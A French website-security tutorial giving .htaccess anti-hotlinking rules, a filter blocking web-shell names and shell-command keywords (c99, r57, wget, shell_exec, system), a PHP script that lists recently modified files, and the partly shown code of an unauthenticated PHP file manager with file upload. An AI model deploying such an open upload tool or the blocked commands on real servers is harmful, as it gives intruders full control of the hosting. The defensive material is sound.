<span style="color: #408080; font-style: italic">### LES VISITEURS DOIVENT PASSER PAR LE SITE. </span>
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">on</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^$
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^https?://[-a-z0-9.]*mondomaine\.fr$ [NC]
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^https?://[-a-z0-9.]*mondomaine\.fr/.*$ [NC]
<span style="color: #408080; font-style: italic">## CES DOMAINES PEUVENT AFFICHER LES ÉLÉMENTS DU SITE</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^https?://.*(translate|paypal|google|bing|yahoo|yandex|baidu|facebook|qwant|duck|ixquick|pinterest|twitter).*$ [NC]
<span style="color: #408080; font-style: italic">## LES CONNEXIONS À TRAVERS LES APP DES MOBILES PEUVENT AFFICHER LES ÉLÉMENTS DU SITE</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^mobile?://.*$ [NC]
<span style="color: #008000">RewriteRule</span> .*\.(gif|jpe?g?|jp2|png|svgz?|css|pdf|zip|gz|js|mp3|m4a|mp4|mov|divx|avi|wma?v?|wmp|swf|flv|docx?|xlsx?|pptx?|vbs|rtf|asf?x?|odt|ods|odp|odg|odb|eot|ttf|woff|woff2)$ [NC,F]
</pre></div>
<p><strong>9-</strong> Si des pirates ont réussi à pénétrer votre site, ils installent un script qui leur permettent de prendre les commandes de votre hébergement. Ici, on bloque la plupart des commandes de ces scripts. À tester avec votre site web, car c'est très puissant et efficace. À la 5e ligne, remplacez “/home/loginftp/” par votre chemin de fichier absolu avant le dossier “www” ou “public_html”. <strong>Cette règle est très efficace mais peut casser votre CMS, blog ou e-commerce.</strong> À utiliser en dernier, puis à tester intensément, et effacez éventuellement la règle qui pose problème.</p>
<span class="smallfont">Code :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### FILTRE CONTRE PHPSHELL.PHP, REMOTEVIEW, C99SHELL ET AUTRES</span>
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">On</span>
<span style="color: #008000">RewriteCond</span> %{REQUEST_URI} .*((php|my)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR]
<span style="color: #008000">RewriteCond</span> %{REQUEST_METHOD} (GET|POST) [NC]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)=/home/loginftp/(.*)$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^work_dir=.*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^command=.*&amp;output.*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^nts_[a-z0-9_]{0,10}=.*$ [OR]
<span style="color: #408080; font-style: italic">## ATTENTION À CETTE RÈGLE. ELLE PEUT CASSER VOTRE SITE</span>
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)cmd=.*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^c=(t|setup|codes)$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^act=((about|cmd|selfremove|chbd|trojan|backc|massbrowsersploit|exploits|grablogins|upload.*)|((chmod|f)&amp;f=.*))$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^act=(ls|search|fsbuff|encoder|tools|processes|ftpquickbrute|security|sql|eval|update|feedback|cmd|gofile|mkfile)&amp;d=.*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^&amp;?c=(l?v?i?&amp;d=|v&amp;fnot=|setup&amp;ref=|l&amp;r=|d&amp;d=|tree&amp;d|t&amp;d=|e&amp;d=|i&amp;d=|codes|md5crack).*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)([-_a-z]{1,15})=(ls|cd|cat|rm|mv|vim|chmod|chdir|concat|mkdir|rmdir|pwd|clear|whoami|uname|tar|zip|unzip|gzip|gunzip|grep|more|ln|umask|telnet|ssh|ftp|head|tail|which|mkmode|touch|logname|edit_file|search_text|find_text|php_eval|download_file|ftp_file_down|ftp_file_up|ftp_brute|mail_file|mysql|mysql_dump|db_query)([^a-zA-Z0-9].+)*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(wget|shell_exec|passthru|system|exec|popen|proc_open)(.*)$
<span style="color: #008000">RewriteRule</span> (.*) [F]
</pre></div>
<p><strong>Ne mettez pas ces règles d'un coup.</strong><br>
Copiez-en une, puis testez votre CMS, blog ou e-commerce en ajoutant, modifiant un article, ajoutez, effacez un utilisateur, accédez à votre interface d'administration et faites plusieurs choses. Si tout est OK, mettez une autre règle. En cas de problème, regardez l'URL appelée. Il y a peut-être un mot-clé qui est bloqué par le fichier .htaccess. Il faudra effacer ce mot-clé du fichier .htaccess. Vous l'avez compris, ce système filtre l'URL et regarde s'il est conforme à une utilisation normale. Donc, si vous avez un message d'erreur, trouvez le mot-clé qui bloque la requête.<br>
Il faut adapter ces règles à votre cas, ce n'est pas du simple copier-coller.</p>
<p>Plus tard, si dans l'utilisation de votre CMS, blog ou e-commerce, vous voyez une erreur 403, alors il est probable qu'une règle du filtrage soit active.</p>
<p>Enfin, votre CMS, blog ou e-commerce utilise souvent le fichier .htaccess pour y mettre des règles de ré-écriture d'URL plus lisibles (appelé URL rewriting). Mettez les filtres anti-pirates en premier et les règles URL rewriting à la fin. En effet, les filtres s'appliquent du premier au dernier. Placer les filtres anti-pirates après les règles de ré-écriture d'URL de votre CMS, blog ou e-commerce n'apporterait aucun bénéfice (ce n'est pas vrai à 100%, mais il y a des raisons).</p>
<a id="fichmodif"></a><hr><br>
<header>
<h2>Avoir la liste des fichiers modifiés et ajoutés</h2>
</header>
<p>Voici un petit script php qui vous permet d'avoir la liste des derniers fichiers créés <strong>ET</strong> modifiés.</p>
<p>Si vous avez été victime d'un piratage, il vous permettra de savoir quels fichiers ont été ajoutés et ceux qui ont été modifiés par le pirate avec la date et l'heure. Ainsi, en comparant la date de ces fichiers modifiés aux logs, vous saurez si la modification est normale ou pas et vous saurez quand et comment le pirate a frappé.</p>
<p>Il sert également à comprendre le comportement d'un script ou d'un CMS, blog, wiki et voir quels fichiers ont été manipulés par ce logiciel.</p>
<p>Copiez le code ci-dessous et créez un fichier texte que vous pourrez appeler par exemple : liste-modif.php<br>
Mettez ce script dans votre hébergement dans le dossier “www” ou “public_html”, ouvrez-le avec votre navigateur web, donnez le nombre de jours représentant la période à vérifier, puis le nom du dossier à analyser. Le chemin de fichier doit se terminer par / comme par exemple : “/forum/” qui correspondra à “/home/votreloginftp/www/forum/”<br>
Si vous voulez vérifier tout le contenu du dossier “www” ou “public_html”, cliquez uniquement sur le bouton “Vérifier Fichiers”.</p>
<p>Attention, si vous avez beaucoup de fichiers et de répertoires, le listage peut prendre trop de temps et le script peut s'interrompre après 30s d'exécution. Si c'est le cas, essayez votre recherche répertoire par répertoire.</p>
<p>Ce script ne va donner la liste que des dossiers à partir du chemin “/home/votreloginftp/www/” ou “/home/votreloginftp/public_html/” de votre hébergement. Une fois l'opération terminée, supprimez ce fichier pour éviter toute utilisation involontaire.</p>
<p>Vous pouvez prendre ce fichier PHP ici : <a href="depot/modif.zip">modif.zip (2,2 Ko)</a></p>
<span class="smallfont">Code PHP :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;height:40em;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #408080; font-style: italic">/*</span>
<span style="color: #408080; font-style: italic">Donne la liste des derniers fichiers créés ET modifiés.</span>
<span style="color: #408080; font-style: italic">Très utile en cas de piratage pour savoir quels fichiers sont ajoutés et ceux qui ont été modifiés. Utile pour comprendre le comportement d'un script ou d'un CMS et voir quels fichiers ont été manipulés.</span>
<span style="color: #408080; font-style: italic">Mettez ce script dans votre hébergement, ouvrez-le avec votre navigateur web, donnez le nombre de jours représentant la période à vérifier, puis le nom du dossier à analyser.</span>
<span style="color: #408080; font-style: italic">Ce script ne va donner la liste que des dossiers à partir du chemin /home/votreloginftp/www/ de votre hébergement.</span>
<span style="color: #408080; font-style: italic">Supprimez le fichier après utilisation.</span>
<span style="color: #408080; font-style: italic">Crédits: Les 4/5 du code sont l'oeuvre de Linda MacPhee-Cobb (http://timestocome.com)</span>
<span style="color: #408080; font-style: italic">*/</span>
<span style="color: #19177C">$go_back</span> <span style="color: #666666">=</span> <span style="color: #666666">0</span>; <span style="color: #408080; font-style: italic">/* affiche résultat ou non */</span>
<span style="color: #19177C">$i</span> <span style="color: #666666">=</span> <span style="color: #666666">0</span>; <span style="color: #408080; font-style: italic">/* compteur de boucle */</span>
<span style="color: #19177C">$dir_count</span> <span style="color: #666666">=</span> <span style="color: #666666">0</span>; <span style="color: #408080; font-style: italic">/* initialisation de la boucle */</span>
<span style="color: #19177C">$date</span> <span style="color: #666666">=</span> <span style="color: #008000">time</span>(); <span style="color: #408080; font-style: italic">/* date et heure actuelle */</span>
<span style="color: #19177C">$one_day</span> <span style="color: #666666">=</span> <span style="color: #666666">86400</span>; <span style="color: #408080; font-style: italic">/* nombre de secondes pour une journée */</span>
<span style="color: #19177C">$days</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'~[^0-9]~i'</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"jours"</span>]); <span style="color: #408080; font-style: italic">/* nombre de jours à vérifier */</span>
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'~[^_A-Za-z0-9-\.%\/]~i'</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">"chemin"</span>]); <span style="color: #408080; font-style: italic">/* chemin de fichier absolu (avec nettoyage contre piratage) */</span>
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">"/\.\.\//"</span>,<span style="color: #BA2121">''</span>, <span style="color: #19177C">$path</span>); <span style="color: #408080; font-style: italic">/* on interdit la commande ../ */</span>
<span style="color: #008000">define</span>(<span style="color: #BA2121">'ABSPATH'</span>, <span style="color: #008000">dirname</span>(<span style="color: #008000; font-weight: bold">__FILE__</span>));
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> ABSPATH<span style="color: #666666">.</span><span style="color: #19177C">$path</span>; <span style="color: #408080; font-style: italic">/* chemin de fichier absolu de votre compte du genre /home/loginftp/www/ ou /home/loginftp/public_html/ etc. */</span>
<span style="color: #19177C">$directories_to_read</span>[<span style="color: #19177C">$dir_count</span>] <span style="color: #666666">=</span> <span style="color: #19177C">$path</span>;
<span style="color: #408080; font-style: italic">/* Formulaire pour remonter le temps */</span>
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<html><body><h3>Contr&ocirc;le des derniers fichiers modifi&eacute;s <br />dans votre h&eacute;bergement .</h3>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<table><tr><td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<form method=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">post</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>Nombre de jours &agrave; v&eacute;rifier 1-99: </td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td>&nbsp;&nbsp;<input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">text</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">jours</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> maxlength=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">2</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> size=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">2</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>Nom du r&eacute;pertoire &agrave; contr&ocirc;ler: </td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td>"</span><span style="color: #666666">.</span>ABSPATH<span style="color: #666666">.</span><span style="color: #BA2121">" <input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">text</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">chemin</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> maxlength=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">80</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> size=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">30</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">/</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> > (mettre un / &agrave; la fin)</td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td> </td><td><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">submit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> V&eacute;rifier Fichiers </span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</form>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</td></tr></table>"</span>;
<span style="color: #408080; font-style: italic">/* Affichage du résultat */</span>
<span style="color: #19177C">$go_back</span> <span style="color: #666666">=</span> <span style="color: #19177C">$one_day</span> <span style="color: #666666">*</span> <span style="color: #19177C">$days</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<br /> Retour sur les <strong>"</span> <span style="color: #666666">.</span> (<span style="color: #19177C">$go_back</span><span style="color: #666666">/</span><span style="color: #19177C">$one_day</span>) <span style="color: #666666">.</span><span style="color: #BA2121">"</strong> derniers jours. <br /><br />"</span>;
<span style="color: #008000; font-weight: bold">if</span> ( <span style="color: #19177C">$go_back</span> <span style="color: #666666">></span> <span style="color: #666666">0</span> ){
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<table><tr><th>Nom du Fichier</th><th>Date de modification</th></tr>"</span>;
<span style="color: #19177C">$diff</span> <span style="color: #666666">=</span> <span style="color: #19177C">$date</span> <span style="color: #666666">-</span> <span style="color: #19177C">$go_back</span>;
<span style="color: #008000; font-weight: bold">while</span> ( <span style="color: #19177C">$i</span> <span style="color: #666666"><=</span> <span style="color: #19177C">$dir_count</span> ){
<span style="color: #19177C">$current_directory</span> <span style="color: #666666">=</span> <span style="color: #19177C">$directories_to_read</span>[<span style="color: #19177C">$i</span>];
<span style="color: #408080; font-style: italic">/* obtenir info fichier */</span>
<span style="color: #19177C">$read_path</span> <span style="color: #666666">=</span> <span style="color: #008000">opendir</span>( <span style="color: #19177C">$directories_to_read</span>[<span style="color: #19177C">$i</span>] );
<span style="color: #008000; font-weight: bold">while</span> ( <span style="color: #19177C">$file_name</span> <span style="color: #666666">=</span> <span style="color: #008000">readdir</span>( <span style="color: #19177C">$read_path</span>)){
<span style="color: #008000; font-weight: bold">if</span> (( <span style="color: #19177C">$file_name</span> <span style="color: #666666">!=</span> <span style="color: #BA2121">'.'</span> )<span style="color: #666666">&&</span>( <span style="color: #19177C">$file_name</span> <span style="color: #666666">!=</span> <span style="color: #BA2121">'..'</span> )){
<span style="color: #008000; font-weight: bold">if</span> ( <span style="color: #008000">is_dir</span>( <span style="color: #19177C">$current_directory</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"/"</span> <span style="color: #666666">.</span> <span style="color: #19177C">$file_name</span> ) ){
<span style="color: #408080; font-style: italic">/* besoin d'obtenir tous les fichiers d'un répertoire */</span>
<span style="color: #19177C">$d_file_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$current_directory</span><span style="color: #BA2121">"</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$file_name</span><span style="color: #BA2121">"</span>;
<span style="color: #19177C">$dir_count</span><span style="color: #666666">++</span>;
<span style="color: #19177C">$directories_to_read</span>[<span style="color: #19177C">$dir_count</span>] <span style="color: #666666">=</span> <span style="color: #19177C">$d_file_name</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"/"</span>;
}<span style="color: #008000; font-weight: bold">else</span>{
<span style="color: #19177C">$file_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$current_directory</span><span style="color: #BA2121">"</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$file_name</span><span style="color: #BA2121">"</span>;
<span style="color: #408080; font-style: italic">/* Si temps modifiés plus récent que x jours, affiche, sinon, passe */</span>
<span style="color: #008000; font-weight: bold">if</span> ( (@<span style="color: #008000">filemtime</span>( <span style="color: #19177C">$file_name</span>)) <span style="color: #666666">></span> <span style="color: #19177C">$diff</span> ){
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td> </span><span style="color: #BB6688; font-weight: bold">$file_name</span><span style="color: #BA2121"> </td>"</span>;
<span style="color: #19177C">$date_changed</span> <span style="color: #666666">=</span> <span style="color: #008000">filemtime</span>( <span style="color: #19177C">$file_name</span> );
<span style="color: #19177C">$pretty_date</span> <span style="color: #666666">=</span> <span style="color: #008000">date</span>(<span style="color: #BA2121">"d/m/Y H:i:s"</span>, <span style="color: #19177C">$date_changed</span>);
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td> ::: </span><span style="color: #BB6688; font-weight: bold">$pretty_date</span><span style="color: #BA2121"></td></tr>"</span> ;
}
}
}
}
@<span style="color: #008000">closedir</span> ( <span style="color: #19177C">$read_path</span> );
<span style="color: #19177C">$i</span><span style="color: #666666">++</span>;
}
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</table>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<br />Supprimez le fichier après utilisation.</body></html>"</span>;
} <span style="color: #408080; font-style: italic">/* if go_back > 0 ) */</span>
<span style="color: #BC7A00">?></span>
</pre></div>
<a id="gesfic"></a><hr><br>
<header>
<h2>Gestionnaire de fichiers pour gérer son espace web</h2>
</header>
<p>Ce gestionnaire de fichiers écrit en PHP permet de manipuler le contenu d'un espace web, comme vous le feriez par FTP. Il permet de créer, lire, effacer, compresser, décompresser, changer les droits, renommer les fichiers et dossiers. Son interface est simpliste mais efficace.</p>
<p>C'est avec ce genre de script que le pirate modifie votre site quand il parvient à exploiter une faille de sécurité pour réussir à envoyer son fichier dans votre hébergement.</p>
<p>Copiez le code ci-dessous et créez un fichier texte que vous pourrez appeler par exemple : gesfic.php<br>
Mettez ce script dans votre hébergement dans le dossier “www” ou “public_html” ou ailleurs, et ouvrez-le avec votre navigateur web.</p>
<p>Le gestionnaire donne accès en lecture et écriture à tout l'espace de votre hébergement. Une fois l'opération terminée, supprimez ce fichier pour éviter toute utilisation involontaire.</p>
<p>Vous pouvez prendre ce fichier PHP ici : <a href="depot/gesfic.zip">gesfic.zip (4,4 Ko)</a></p>
<span class="smallfont">Code PHP :</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;height:40em;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #BC7A00"><?php</span>
<span style="color: #408080; font-style: italic">/* ############################# */</span>
<span style="color: #408080; font-style: italic">/* Gestionnaire de fichiers */</span>
<span style="color: #408080; font-style: italic">/* À SUPPRIMER APRÈS UTILISATION */</span>
<span style="color: #408080; font-style: italic">/* ############################# */</span>
<span style="color: #408080; font-style: italic">/* Ajouter, modifier les fichiers et dossiers dans un répertoire */</span>
<span style="color: #408080; font-style: italic">/* ############################# */</span>
<span style="color: #008000">set_time_limit</span>(<span style="color: #666666">0</span>);
<span style="color: #008000">error_reporting</span>(<span style="color: #666666">0</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<!DOCTYPE HTML></span>
<span style="color: #BA2121"><html></span>
<span style="color: #BA2121"><head></span>
<span style="color: #BA2121"><style></span>
<span style="color: #BA2121">body {font-family: monospace;background-color: #ffffff;}</span>
<span style="color: #BA2121">.petit {font-size:.8em;}</span>
<span style="color: #BA2121">#content tr:hover {background-color: #008580;text-shadow:0px 0px 10px #ffffff;}</span>
<span style="color: #BA2121">#content .first {background-color: #008580;}</span>
<span style="color: #BA2121">#content .first:hover {background-color: #008580;text-shadow:0px 0px 1px #ffffff;}</span>
<span style="color: #BA2121">table {border: 1px #008580 dotted;}</span>
<span style="color: #BA2121">a {color: mediumblue;text-decoration: none;}</span>
<span style="color: #BA2121">a:hover {color: #fff;text-shadow:0px 0px 10px #ffffff;}</span>
<span style="color: #BA2121">input,select,textarea {border: 1px #000000 solid;border-radius:5px;}</span>
<span style="color: #BA2121">.milieu {display: block;margin:0 auto;}</span>
<span style="color: #BA2121">.centre {text-align:center;}</span>
<span style="color: #BA2121"></style></span>
<span style="color: #BA2121"></head></span>
<span style="color: #BA2121"><body></span>
<span style="color: #BA2121"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"></span>
<span style="color: #BA2121"><tr><td>Chemin de fichiers >> '</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'path'</span>])) {
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'path'</span>];
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #008000">getcwd</span>();
}
<span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #008000">str_replace</span>(<span style="color: #BA2121">'\\'</span>, <span style="color: #BA2121">'/'</span>, <span style="color: #19177C">$path</span>);
<span style="color: #19177C">$paths</span> <span style="color: #666666">=</span> <span style="color: #008000">explode</span>(<span style="color: #BA2121">'/'</span>, <span style="color: #19177C">$path</span>);
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #19177C">$paths</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$id</span> <span style="color: #666666">=></span> <span style="color: #19177C">$pat</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$pat</span> <span style="color: #666666">==</span> <span style="color: #BA2121">''</span> <span style="color: #666666">&&</span> <span style="color: #19177C">$id</span> <span style="color: #666666">==</span> <span style="color: #666666">0</span>) {
<span style="color: #19177C">$a</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">true</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<a href="?path=/">/</a>'</span>;
<span style="color: #008000; font-weight: bold">continue</span>;
}
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$pat</span> <span style="color: #666666">==</span> <span style="color: #BA2121">''</span>) <span style="color: #008000; font-weight: bold">continue</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<a href="?path='</span>;
<span style="color: #008000; font-weight: bold">for</span> (<span style="color: #19177C">$i</span> <span style="color: #666666">=</span> <span style="color: #666666">0</span>;<span style="color: #19177C">$i</span> <span style="color: #666666"><=</span> <span style="color: #19177C">$id</span>;<span style="color: #19177C">$i</span><span style="color: #666666">++</span>) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$paths[$i]</span><span style="color: #BA2121">"</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$i</span> <span style="color: #666666">!=</span> <span style="color: #19177C">$id</span>) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"/"</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'">'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$pat</span> <span style="color: #666666">.</span> <span style="color: #BA2121">'</a>/'</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</td></tr><tr><td>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">'file'</span>])) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">copy</span>(<span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">'file'</span>][<span style="color: #BA2121">'tmp_name'</span>], <span style="color: #19177C">$path</span> <span style="color: #666666">.</span> <span style="color: #BA2121">'/'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">'file'</span>][<span style="color: #BA2121">'name'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Téléverser réussi!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Téléverser échoué!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form enctype="multipart/form-data" method="POST"></span>
<span style="color: #BA2121">Téléverser un fichier <input type="file" name="file"></span>
<span style="color: #BA2121"><input type="submit" value="Envoyer"></span>
<span style="color: #BA2121"></form>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'dossier'</span>])) {
<span style="color: #19177C">$nomDossier</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'dossier'</span>];
<span style="color: #19177C">$nomDossier</span> <span style="color: #666666">=</span> <span style="color: #008000">str_replace</span>(<span style="color: #BA2121">' '</span>, <span style="color: #BA2121">'_'</span>, <span style="color: #19177C">$nomDossier</span>);
<span style="color: #19177C">$nomDossier</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'/[^a-zA-Z0-9\/_-]/'</span>, <span style="color: #BA2121">''</span>, <span style="color: #19177C">$nomDossier</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">file_exists</span>(<span style="color: #19177C">$nomDossier</span>)) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Dossier existant</strong></font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">mkdir</span>(<span style="color: #19177C">$nomDossier</span>, <span style="color: #666666">0755</span>)) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Ajout dossier réussi!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Ajout dossier échoué!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form method="POST"></span>
<span style="color: #BA2121">Créer un <strong>dossier</strong> avec chemin absolu <input type="text" name="dossier" value="'</span> <span style="color: #666666">.</span> <span style="color: #008000">realpath</span>(<span style="color: #19177C">$path</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'/nom-dossier/"></span>
<span style="color: #BA2121"><input type="submit" value="Enregistrer"></span>
<span style="color: #BA2121"></form>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'creafichier'</span>])) {
<span style="color: #19177C">$creaFichier</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'creafichier'</span>];
<span style="color: #19177C">$creaFichier</span> <span style="color: #666666">=</span> <span style="color: #008000">str_replace</span>(<span style="color: #BA2121">' '</span>, <span style="color: #BA2121">'_'</span>, <span style="color: #19177C">$creaFichier</span>);
<span style="color: #19177C">$creaFichier</span> <span style="color: #666666">=</span> <span style="color: #008000">preg_replace</span>(<span style="color: #BA2121">'/[^a-zA-Z0-9\/\._-]/'</span>, <span style="color: #BA2121">''</span>, <span style="color: #19177C">$creaFichier</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">file_exists</span>(<span style="color: #19177C">$creaFichier</span>)) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Fichier existant</strong></font><br>'</span>;
}
